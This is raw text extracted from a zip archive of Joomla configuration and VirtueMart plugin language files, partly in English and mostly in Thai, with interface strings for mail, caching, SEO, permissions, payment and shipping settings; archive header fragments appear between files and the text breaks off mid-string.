COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_DESC="Enter the password for the SMTP host" COM_CONFIG_FIELD_MAIL_SMTP_PASSWORD_LABEL="SMTP Password" COM_CONFIG_FIELD_MAIL_SMTP_PORT_DESC="Enter the port number of your SMTP server. Use 25 for most unsecure servers and 465 for most secure servers." COM_CONFIG_FIELD_MAIL_SMTP_PORT_LABEL="SMTP Port" COM_CONFIG_FIELD_MAIL_SMTP_SECURE_DESC="Select the security model that your SMTP server uses." COM_CONFIG_FIELD_MAIL_SMTP_SECURE_LABEL="SMTP Security" COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_DESC="Enter the username for access to the SMTP host." COM_CONFIG_FIELD_MAIL_SMTP_USERNAME_LABEL="SMTP Username" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_DESC="Memcache Compression" COM_CONFIG_FIELD_MEMCACHE_COMPRESSION_LABEL="Memcache Compression" COM_CONFIG_FIELD_MEMCACHE_HOST_DESC="Memcache Server Host" COM_CONFIG_FIELD_MEMCACHE_HOST_LABEL="Memcache Server Host" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_DESC="Persistent Memcache" COM_CONFIG_FIELD_MEMCACHE_PERSISTENT_LABEL="Persistent Memcache" COM_CONFIG_FIELD_MEMCACHE_PORT_DESC="Memcache Server Port" COM_CONFIG_FIELD_MEMCACHE_PORT_LABEL="Memcache Server Port" COM_CONFIG_FIELD_METAAUTHOR_DESC="Show the author meta tag when viewing articles" COM_CONFIG_FIELD_METAAUTHOR_LABEL="Show Author Meta Tag" COM_CONFIG_FIELD_METADESC_DESC="Enter a description of the overall Web site that is to be used by search engines. Generally, a maximum of 20 words is optimal." COM_CONFIG_FIELD_METADESC_LABEL="Site Meta Description" COM_CONFIG_FIELD_METAKEYS_DESC="Enter the keywords and phrases that best describe your Web site. Separate keywords and phrases with a comma." COM_CONFIG_FIELD_METAKEYS_LABEL="Site Meta Keywords" COM_CONFIG_FIELD_METALANGUAGE_DESC="Places the selected language in the metadata for the site." COM_CONFIG_FIELD_METALANGUAGE_LABEL="Site Meta Language" COM_CONFIG_FIELD_METAVERSION_LABEL="Show Joomla! Version" COM_CONFIG_FIELD_METAVERSION_DESC="Show the Joomla! version number in the generator meta tag." COM_CONFIG_FIELD_OFFLINE_IMAGE_DESC="An optional image to be displayed on the default offline page. Make sure the image is less than 400px wide." COM_CONFIG_FIELD_OFFLINE_IMAGE_LABEL="Offline Image" COM_CONFIG_FIELD_OFFLINE_MESSAGE_DESC="The custom offline message will be used if the 'Offline Message' field is set to 'Use custom message'." COM_CONFIG_FIELD_OFFLINE_MESSAGE_LABEL="Custom Message" COM_CONFIG_FIELD_SECRET_DESC="This is an auto-generated, unique alphanumeric code for every Joomla! installation. It is used for security functions." COM_CONFIG_FIELD_SECRET_LABEL="Secret" COM_CONFIG_FIELD_SEF_REWRITE_DESC="Select to use a server's rewrite engine to catch URLs that meet specific conditions and rewrite them as directed. Available for IIS 7 and Apache.
            Apache users only!
            Rename htaccess.txt to .htaccess before activating.
            IIS 7 users only!
            Rename web.config.txt to web.config and install IIS URL Rewrite Module before activating.
            " COM_CONFIG_FIELD_SEF_REWRITE_LABEL="Use URL rewriting" COM_CONFIG_FIELD_SEF_SUFFIX_DESC="If yes, the system will add a suffix to the URL based on the document type." COM_CONFIG_FIELD_SEF_SUFFIX_LABEL="Adds Suffix to URL" COM_CONFIG_FIELD_SEF_URL_DESC="Select whether or not the URLs are optimised for Search Engines." COM_CONFIG_FIELD_SEF_URL_LABEL="Search Engine Friendly URLs" COM_CONFIG_FIELD_SERVER_TIMEZONE_DESC="Choose a city in the list to configure the date and time for display." COM_CONFIG_FIELD_SERVER_TIMEZONE_LABEL="Server Time Zone" COM_CONFIG_FIELD_SESSION_HANDLER_DESC="The mechanism by which Joomla! identifies a User once they are connected to the web site using non-persistent cookies." COM_CONFIG_FIELD_SESSION_HANDLER_LABEL="Session Handler" COM_CONFIG_FIELD_SESSION_TIME_DESC="Auto log out a User after they have been inactive for the entered number of minutes. Do not set too high." COM_CONFIG_FIELD_SESSION_TIME_LABEL="Session Lifetime" COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_DESC="Display or not a frontend message when the site is offline. The custom offline message uses the value defined in the 'Custom message' field. The language offline message uses the value defined in the site language ini file." COM_CONFIG_FIELD_SITE_DISPLAY_MESSAGE_LABEL="Offline Message" COM_CONFIG_FIELD_SITE_NAME_DESC="Enter the name of your Web site. This will be used in various locations (e.g. the backend browser title bar and Site Offline pages)." COM_CONFIG_FIELD_SITE_NAME_LABEL="Site Name" COM_CONFIG_FIELD_SITE_OFFLINE_DESC="Select whether access to the Site frontend is available. If Yes, the frontend will display or not a message depending on the settings below." COM_CONFIG_FIELD_SITE_OFFLINE_LABEL="Site Offline" COM_CONFIG_FIELD_SITENAME_PAGETITLES_DESC="Begin or end all Page Titles with the site name (for example, My Site Name - My Article Name)." COM_CONFIG_FIELD_SITENAME_PAGETITLES_LABEL="Include Site Name in Page Titles" COM_CONFIG_FIELD_TEMP_PATH_DESC="Please select a writable Temp folder." COM_CONFIG_FIELD_TEMP_PATH_LABEL="Path to Temp Folder" COM_CONFIG_FIELD_UNICODESLUGS_DESC="Choose between transliteration and unicode aliases. Transliteration is default." COM_CONFIG_FIELD_UNICODESLUGS_LABEL="Unicode Aliases" COM_CONFIG_FIELD_VALUE_ADMINISTRATOR_ONLY="Administrator Only" COM_CONFIG_FIELD_VALUE_AFTER="After" COM_CONFIG_FIELD_VALUE_AUTHOR_EMAIL="Author Email" COM_CONFIG_FIELD_VALUE_BEFORE="Before" COM_CONFIG_FIELD_VALUE_CACHE_OFF="OFF - Caching disabled" COM_CONFIG_FIELD_VALUE_CACHE_CONSERVATIVE="ON - Conservative caching" COM_CONFIG_FIELD_VALUE_CACHE_PROGRESSIVE="ON - Progressive caching" COM_CONFIG_FIELD_VALUE_DEVELOPMENT="Development" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_CUSTOM="Use Custom Message" COM_CONFIG_FIELD_VALUE_DISPLAY_OFFLINE_MESSAGE_LANGUAGE="Use Site Language Default Message" COM_CONFIG_FIELD_VALUE_ENTIRE_SITE="Entire Site" COM_CONFIG_FIELD_VALUE_MAXIMUM="Maximum" COM_CONFIG_FIELD_VALUE_NO_EMAIL="No Email" COM_CONFIG_FIELD_VALUE_NONE="None" COM_CONFIG_FIELD_VALUE_PHP_MAIL="PHP Mail" COM_CONFIG_FIELD_VALUE_SENDMAIL="Sendmail" COM_CONFIG_FIELD_VALUE_SIMPLE="Simple" COM_CONFIG_FIELD_VALUE_SITE_EMAIL="Site Email" COM_CONFIG_FIELD_VALUE_SMTP="SMTP" COM_CONFIG_FIELD_VALUE_SSL="SSL" COM_CONFIG_FIELD_VALUE_SYSTEM_DEFAULT="System Default" COM_CONFIG_FIELD_VALUE_TLS="TLS" COM_CONFIG_FTP_DETAILS="FTP Login Details" COM_CONFIG_FTP_DETAILS_TIP="For updating your configuration.php file, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_CONFIG_FTP_SETTINGS="FTP Settings" COM_CONFIG_GLOBAL_CONFIGURATION="Global Configuration" COM_CONFIG_HELPREFRESH_SUCCESS="The Help Sites list has been refreshed." COM_CONFIG_LOCATION_SETTINGS="Location Settings" COM_CONFIG_MAIL_SETTINGS="Mail Settings" COM_CONFIG_METADATA_SETTINGS="Metadata Settings" COM_CONFIG_PERMISSION_SETTINGS="Permission Settings" COM_CONFIG_PERMISSIONS="Permissions" COM_CONFIG_SAVE_SUCCESS="Configuration successfully saved." COM_CONFIG_SEO_SETTINGS="SEO Settings" COM_CONFIG_SERVER="Server" COM_CONFIG_SERVER_SETTINGS="Server Settings" COM_CONFIG_SESSION_SETTINGS="Session Settings" COM_CONFIG_SITE_SETTINGS="Site Settings" COM_CONFIG_SYSTEM="System" COM_CONFIG_SYSTEM_SETTINGS="System Settings" COM_CONFIG_TEXT_FILTER_SETTINGS="Text Filter Settings" COM_CONFIG_TEXT_FILTERS="Text Filters" COM_CONFIG_TEXT_FILTERS_DESC="These text filter settings will be applied to all text editor fields submitted by users in the selected groups.
            These filtering options give more control over the HTML your content providers submit. You can be as strict or as liberal as you require to suit your site needs. The filtering is opt-in and the default settings provide good protection against markup commonly associated with Web site attacks." COM_CONFIG_XML_DESCRIPTION="Configuration Manager" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this and all child groups, components and content. Note that:
            Inherited means that the permissions from the parent group will be used.
            Denied means that no matter what the parent group's setting is, the group being edited cannot take this action.
            Allowed means that the group being edited will be able to take this action (but if this is in conflict with the parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            Not Set is used only for the Public group in global configuration. The Public group is the parent of all other groups. If a permission is not set, it is treated as deny but can be changed for child groups, components, categories and items.
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\)language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\mOO.language/th-TH/th-TH.plg_search_virtuemart.ininuW+A; VirtueMart Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_VIRTUEMART="ค้นหา - VirtueMart" PLG_SEARCH_VIRTUEMART_PRODUCTS="สินค้า"PK@y>\4M+language/th-TH/th-TH.com_virtuemart.sys.ininuW+A; $Id: en-GB.com_virtuemart.ini 2653 2010-11-11 13:28:42Z milbo $ ; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="ยินดีต้อนรับสู่
            VirtueMart!" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="การติดตั้ง เสร็จเรียบร้อย" COM_VIRTUEMART_INSTALL_DONATION="โปรดให้ความสนใจในการร่วมบริจาค ช่วยสนับสนุนเรา ในการพัฒนาคอมโพเน้นท์นี้" COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="ไปยัง หน้าร้านค้า" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="ติดตั้งข้อมูลตัวอย่าง" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="หมายเหตุการถอนการติดตั้ง :" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="ในการถอนการติดตั้ง VirtueMart จะไม่ได้ลบข้อมูลตาราง VirtueMart ออกจากฐานข้อมูล ซึ่งส่วนนี้จะทำให้สามารถปรับปรุงตารางสำหรับ VirtueMart เวอร์ชั่นใหม่
            ในการลบตาราง VirtueMart สามารถลบตารางที่ขึ้นต้นด้วย _virtuemart_ " COM_VIRTUEMART_UNINSTALL_THANKYOU="ขอบคุณที่เลือกได้เลือกใช้ VirtueMart!" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="การอัพเดดเสร็จเรียบร้อย" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Displays VirtueMart minicart" COM_VIRTUEMART_MINICART_MENU="VirtueMart mini cart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="VirtueMart Category Layout" COM_VIRTUEMART_SELECT_CATEGORY="Select a category" ; components/com_virtuemart/views/manufacturer/tmpl/defaut.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart List Orders" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_CHANGE_PRODUCT_BUTTON="Change" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Customer Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="แก้ไขที่อยู่ของผู้ใช้งาน" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="แสดงหน้าแก้ไขที่อยู่ของผู้ใช้งาน" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Default Layout" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" ; components/com_virtuemart/views/vendor/tmpl/ COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="เลือกผู้จัดจำหน่าย" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="เลือกผู้จัดจำหน่าย" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="แสดงหน้าข้อมูลการติดต่อผู้จัดจำหน่าย" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="แสดงข้อมูลการติดต่อผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="แสดงชื่อผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="แสดงชื่อผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="แสดงรายละเอียดของผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="แสดงรายละเอียดของผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="ดูข้อตกลงการให้บริการของผู้ขาย" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="ดูข้อตกลงการให้บริการของผู้ขาย" PK@y>\>pp3language/th-TH/th-TH.plg_vmpayment_standard.sys.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Vm Payment plugin Standard" PK@y>\Vlanguage/th-TH/index.htmlnuW+A PK@y>\LXX/language/th-TH/th-TH.plg_vmcustom_textinput.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_NAME_INFO="ชื่อ" VMCUSTOM_NAME_INFO_DESC="ชื่อที่ต้องการให้แสดง สามารถตั้งชื่อเป็นทั้งข้อความ หรือ รหัสของชุดสตริงก์ ที่สามารถแปลภาษาได้" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER="ราคาต่อตัวอักษร" VMCUSTOM_TEXTINPUT_PRICE_BY_INPUT="ราคาต่อข้อมูลที่กรอก" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER_OR_INPUT="ราคาต่อตัวอักษรหรือต่อข้อมูลที่กรอก" VMCUSTOM_TEXTINPUTPRICE_BY_LETTER_OR_INPUT_DESC="เมื่อเลือกราคาต่อตัวอักษร, ราคาพิเศษจะถูกนำไปใช้งานตามตัวพยัญชนะ, หรือไม่ก็จะนำราคาพิเศษดังกล่าวไปใช้กับข้อมูลที่กรอกเข้ามาทั้งหมด" VMCUSTOM_TEXTINPUT="ข้อความสำหรับช่องรับข้อมูลแบบกำหนดเอง" VMCUSTOM_TEXTINPUT_NO_CHANGES_BE="สำหรับใช้แสดงช่องรับข้อมูล, ไม่ต้องเปลี่ยนค่าใดๆ" VMCUSTOM_TEXTINPUT_SIZE="ขนาดของช่องรับข้อมูล" VMCUSTOM_TEXTINPUT_SIZE_DESC="ความยาวของช่องรับข้อมูลที่ต้องการให้แสดง" PK@y>\)language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PK@y>\_%8language/th-TH/th-TH.plg_vmshipment_weight_countries.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipment VMSHIPMENT_WEIGHT_COUNTRIES="Vm Shipment plugin Weight/Nb of products/Countries" VMSHIPMENT_WEIGHT_COUNTRIES_COST="ราคาค่าจัดส่ง" VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC="ต้นทุน การจัดส่งเพื่อใช้สำหรับการสั่งซื้อทั้งหมดเมื่อน้ำหนักอยู่ระหว่างน้ำหนักต่ำสุดและสูงสุด" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES="ประเทศ" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC="กรุณาเลือกอัตรานี้ใช้กับประเทศ ถ้าไม่ได้เลือกอัตรานี้กับประเทศ อัตรานี้จะถูกนำมาใช้สำหรับทุกประเทศ" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY="หน่วยของเงิน" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY_DESC="สกุลเงินที่ใช้กับราคา" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT="จำนวนขั้นต่ำสำหรับการจัดส่งฟรี" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC="จำนวนการสั่งซื้อสินค้าขั้นต่ำสำหรับการจัดส่งฟรี" VMSHIPMENT_WEIGHT_COUNTRIES_LOGOS="ตราสินค้า" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START="จำนวนสินค้าขั้นต่ำ" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC="จำนวนสินค้าขั้นต่ำ" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP="จำนวนสินค้าสูงสุด" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="จำนวนสินค้าสูงสุด" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START="ยอดเงินต่ำสุดในการสั่งซื้อ" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC="ยอดเงินต่ำสุดในการสั่งซื้อ" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP="ยอดเงินสูงสุดในการสั่งซื้อ" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC="ยอดเงินสูงสุดในการสั่งซื้อ" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE="ค่าธรรมเนียมการบรรจุหีบห่อ" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC="ค่าธรรมเนียมการบรรจุหีบห่อ" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN="จัดส่งขึ้นอยู่กับน้ำหนัก, รหัสไปรษณีย์และประเทศ" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC="การจัดส่งขึ้นอยู่กับจำนวนของน้ำหนักและทุกประเทศ" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME="ชื่อผู้จัดส่งสินค้า" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME_DESC="ชื่อผู้จัดส่งสินค้าที่ใช้แสดงทางส่วนด้านหน้าเว็บ" VMSHIPMENT_WEIGHT_COUNTRIES_TAX="ภาษี" VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC="อัตราภาษีที่ใช้กับราคาดังกล่าว" VMSHIPMENT_WEIGHT_COUNTRIES_VALUE="ค่าธรรมเนียม" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION="Shipment description" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION_DESC="Shipment description added to the shipment name and logo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT="น้ำหนักของการสั่งซื้อ" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START="น้ำหนักต่ำสุด" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC="กรุณาใส่น้ำหนักต่ำสุด ถ้าไม่มีค่าที่ป้อนสำหรับน้ำหนักต่ำสุดเงื่อนไขสำหรับน้ำหนักต่ำสุดจะไม่ถูกนำไปใช้" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP="น้ำหนักสูงสุด" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC="กรุณาใส่น้ำหนักสูงสุด ถ้าไม่มีค่าที่ป้อนสำหรับน้ำหนักสูงสุดเงื่อนไขสำหรับน้ำหนักสูงสุดจะไม่ถูกนำไปใช้" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT="หน่วยน้ำหนัก" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC="หน่วยน้ำหนักที่น้ำหนักจะได้รับ" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START="รหัสไปรษณีย์ต้นทาง" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC="โปรดใส่รหัสไปรษณีย์ปลายทาง.ถ้าไม่มีค่าที่ป้อนสำหรับรหัสไปรษณีย์ต้นทาง และรหัสไปรษณีย์ปลายทาง, เงื่อนไขการใช้ไปรษณีย์จะไม่ถูกนำไปใช้" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP="รหัสไปรษณีย์ปลายทาง" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC="โปรดใส่รหัสไปรษณีย์ปลายทาง.ถ้าไม่มีค่าที่ป้อนสำหรับรหัสไปรษณีย์ต้นทาง และรหัสไปรษณีย์ปลายทาง, เงื่อนไขการใช้ไปรษณีย์จะไม่ถูกนำไปใช้" PK@y>\%i887language/th-TH/th-TH.plg_vmcustom_specification.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION="สเปคสินค้าแบบกำหนดเอง" PK@y>\P,w1language/th-TH/th-TH.plg_vmpayment_paypal.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Vm Payment plugin Paypal"PK@y>\|u3language/th-TH/th-TH.plg_vmcustom_stockable.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="VM Custom Field with Stock Control" PK@y>\D<language/th-TH/th-TH.plg_vmshipment_weight_countries.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipper VMSHIPMENT_WEIGHT_COUNTRIES="Vm Shipment plugin น้ำหนัก/Nb ของสินค้า/ปรเทศ" PK@y>\٭jj-language/th-TH/th-TH.plg_vmpayment_paypal.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="ปลั๊กอิน การชำระเงินแบบเพย์พาล ของ Vm" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE="ให้ผู้ซื้อแทนที่ที่อยู่ของ ระบบเพย์พาล" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE_DESC="ที่อยู่ที่ระบุไว้กับตัวแปรกรอกในแบบอัตโนมัติจะแทนที่สมาชิกของ ระบบเพย์พาล ที่อยู่ที่เก็บไว้ ผู้ซื้อสามารถมองเห็นที่อยู่ของคุณ แต่พวกเขาไม่สามารถแก้ไขได้ ระบบ เพย์พาล จะไม่แสดงที่อยู่ถ้าหากพวกเขาทำไม่ถูกต้องหรือการละเลย" VMPAYMENT_PAYPAL_AMOUNT="จำนวน" ; VMPAYMENT_PAYPAL_AUTOMATIC_FILLOUT="Checkout experience, see Address Handling (U.S. Merchants Only)"_QQ_"" VMPAYMENT_PAYPAL_CLICK_ON_BUTTON="ถ้าคุณไม่ได้เปลี่ยนเส้นทาง หลัง 10 วินาทีโปรดคลิกที่ปุ่มด้านล่าง" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL="เปอร์เซ็นต์ของจำนวนราคาสินค้าทั้งหมด" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL_EXPLAIN="เปอร์เซ็นต์ที่จะนำไปใช้กับจำนวนเงินรวมสินค้า ค่าใช้จ่ายการขนส่งสินค้าจะไม่รวม" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION="ค่าธรรมเนียมต่อรายการธุรกรรม" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION_EXPLAIN="จำนวนเงินที่แน่นอนที่จะใช้แต่ละธุรกรรม" VMPAYMENT_PAYPAL_COUNTRIES="ประเทศ" VMPAYMENT_PAYPAL_COUNTRIES_DESC="กรุณาเลือกประเทศสำหรับ การชำระเงิน ถ้าไม่เลือกประเทศ วิธีการชำระเงินนี้จะถูกใช้ทุกประเทศ" VMPAYMENT_PAYPAL_CURRENCY="สกุลเงิน" VMPAYMENT_PAYPAL_CURRENCY_DESC="สกุลเงินที่ยอมรับสำหรับการชำระเงิน" VMPAYMENT_PAYPAL_CUSTOM="ค่าที่กำหนดเอง" VMPAYMENT_PAYPAL_DATE="วันที่" VMPAYMENT_PAYPAL_DEBUG="ตรวจสอบข้อผิดพลาด?" VMPAYMENT_PAYPAL_DEBUG_DESC="ถ้าตั้งค่าเป็นใช่ ธุรกรรมการชำระเงินจะถูกบันทึกไว้ในโฟลเดอร์ที่บันทึก" VMPAYMENT_PAYPAL_EMAIL="อีเมล์ การชำระเงิน เพย์พาล :" VMPAYMENT_PAYPAL_EMAIL_DESC="ที่อยู่อีเมลของคุณทางธุรกิจสำหรับชำระเงินผ่านระบบ เพย์พาล นอกจากนี้ยังใช้ รับอีเมล์ได้ด้วย" VMPAYMENT_PAYPAL_EMAIL_SENT="อีเมล์ที่ส่งไป" VMPAYMENT_PAYPAL_ERROR_EMAIL_SUBJECT="เกิดข้อผิดพลาดในการชำระเงินกับ Paypal" VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION="การตรวจสอบรหัส IPN ไม่ถูกต้อง" VMPAYMENT_PAYPAL_ERROR_POSTING_IPN="เกิดข้อผิดพลาดในระหว่างการโพสต์รหัส IPN: %1s, %2d" VMPAYMENT_PAYPAL_INVOICE="หมายเลขคำสั่งซื้อ" VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED="ได้รับข้อความแจ้งเตือนจาก PayPal แล้ว" VMPAYMENT_PAYPAL_LOGOS="โลโก้" VMPAYMENT_PAYPAL_LOGOS_DESC="โลโก้ที่ต้องการแสดงพร้อมกับชื่อการชำระเงิน" VMPAYMENT_PAYPAL_MAX_AMOUNT="จำนวนสูงสุด" VMPAYMENT_PAYPAL_MAX_AMOUNT_EXPLAIN="จำนวนสั่งซื้อสูงสุดที่สามารถใช้การชำระเงินนี้ได้" VMPAYMENT_PAYPAL_MERCHANT_EMAIL_NOT_SET="อีเมลผู้ประกอบการใน PayPal 